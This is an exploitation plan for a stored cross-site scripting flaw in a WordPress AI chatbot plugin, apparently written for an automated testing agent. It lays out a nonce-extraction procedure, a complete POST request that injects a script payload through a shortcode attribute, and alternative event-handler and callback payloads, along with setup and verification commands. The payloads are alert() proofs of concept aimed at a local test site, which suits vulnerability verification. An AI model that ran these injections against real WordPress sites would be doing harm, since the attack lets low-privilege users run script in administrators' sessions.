Exploitation Research Plan: CVE-2025-13887 (Stored XSS in AI BotKit)

1. Vulnerability Summary

The AI ChatBot for WordPress by AI BotKit plugin (up to version 1.1.7) contains a stored cross-site scripting vulnerability. The issue exists in the ai_botkit_widget shortcode handler, which processes a user-supplied id attribute. Because the plugin fails to sanitize this attribute upon input or escape it during output, an authenticated user with at least Contributor permissions can inject arbitrary HTML or JavaScript. When the shortcode is rendered on a page or post, the payload executes in the context of any user viewing that content, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/post.php or the WordPress REST API (/wp/v2/posts).
• Hook/Action: add_shortcode('ai_botkit_widget', ...) registered during the init or plugins_loaded hook (inferred).
• Vulnerable Parameter: The id attribute within the [ai_botkit_widget] shortcode.
• Authentication: Required (Contributor level or higher).
• Preconditions: The plugin must be active. A Contributor must be able to save a post/page containing the shortcode.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode callback using add_shortcode( 'ai_botkit_widget', 'render_callback_function' ).
2. Parsing: When a post is viewed, the do_shortcode() function triggers. The render_callback_function receives the attributes array ($atts).
3. Extraction: The code likely uses shortcode_atts() to extract the id.
   • Example: $a = shortcode_atts( array( 'id' => '' ), $atts );
4. Rendering (Sink): The value of $a['id'] is concatenated directly into an HTML string (likely an id attribute for a <div> or a parameter in a <script> tag) and returned to the output buffer without being passed through esc_attr() or esc_html().
   • Hypothetical Sink: return '<div id="botkit-' . $a['id'] . '"></div>';

4. Nonce Acquisition Strategy

While shortcodes are rendered without nonces on the frontend, creating the post to store the XSS requires a valid WordPress nonce for the post.php action or REST API.

1. Login: Authenticate as a Contributor user.
2. Navigation: Navigate to /wp-admin/post-new.php using browser_navigate.
3. Extraction: Use browser_eval to extract the _wpnonce value from the page source to authorize the post creation.
   • Target Variable: document.querySelector('#_wpnonce').value (for the classic editor) or the X-WP-Nonce header found in wp-admin for REST API requests.
4. JS Localization (Inferred): If the plugin uses wp_localize_script to pass the widget ID to a JS file, the agent should check for a variable like window.ai_botkit_vars?.nonce on a page where the widget is rendered, though this is likely unnecessary for the primary injection.

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode that breaks out of an HTML attribute to execute JavaScript.

Step 1: Preparation

• Authenticate as a Contributor.
• Obtain the _wpnonce from /wp-admin/post-new.php.

Step 2: Injection Request

Send an http_request to create a new post with the XSS payload in the content.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_type: post
  • post_title: AI BotKit Test
  • _wpnonce: [EXTRACTED_NONCE]
  • content: [ai_botkit_widget id='"><script>alert(document.domain)</script>']
  • post_status: pending (Contributors can save as pending)

Step 3: Triggering the XSS

• Identify the post ID from the redirect or the response.
• Navigate to the post's permalink (e.g., /?p=[ID]) or use the "Preview" functionality as the Contributor.

6. Test Data Setup

1. User Creation: wp user create contributor user contributor@example.com --role=contributor --user_pass=password
2. Plugin Activation: Ensure ai-botkit-for-lead-generation version 1.1.7 is active.

7. Expected Results

• When the post is viewed, the HTML source should reveal the payload broken out of its intended attribute.
• Example Source: <div id="botkit-"><script>alert(document.domain)</script>"></div>
• A browser alert box showing the domain name should appear.

8. Verification Steps

1. CLI Check: Verify the post content in the database:
   • wp post get [ID] --field=post_content
   • Confirm the string [ai_botkit_widget id='"><script>alert(document.domain)</script>'] exists.
2. Response Inspection: Use http_request to GET the post URL and search the raw HTML for the unescaped <script> tag.

9. Alternative Approaches

If a simple script breakout fails (e.g., due to WAF or basic attribute filtering), attempt an event-handler breakout:

• Payload: [ai_botkit_widget id='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
• Iframe Breakout (if id is part of a URL): If the id is used in a script src, try: [ai_botkit_widget id='1&callback=alert(1)'] or [ai_botkit_widget id='?"></script><script>alert(1)</script>'].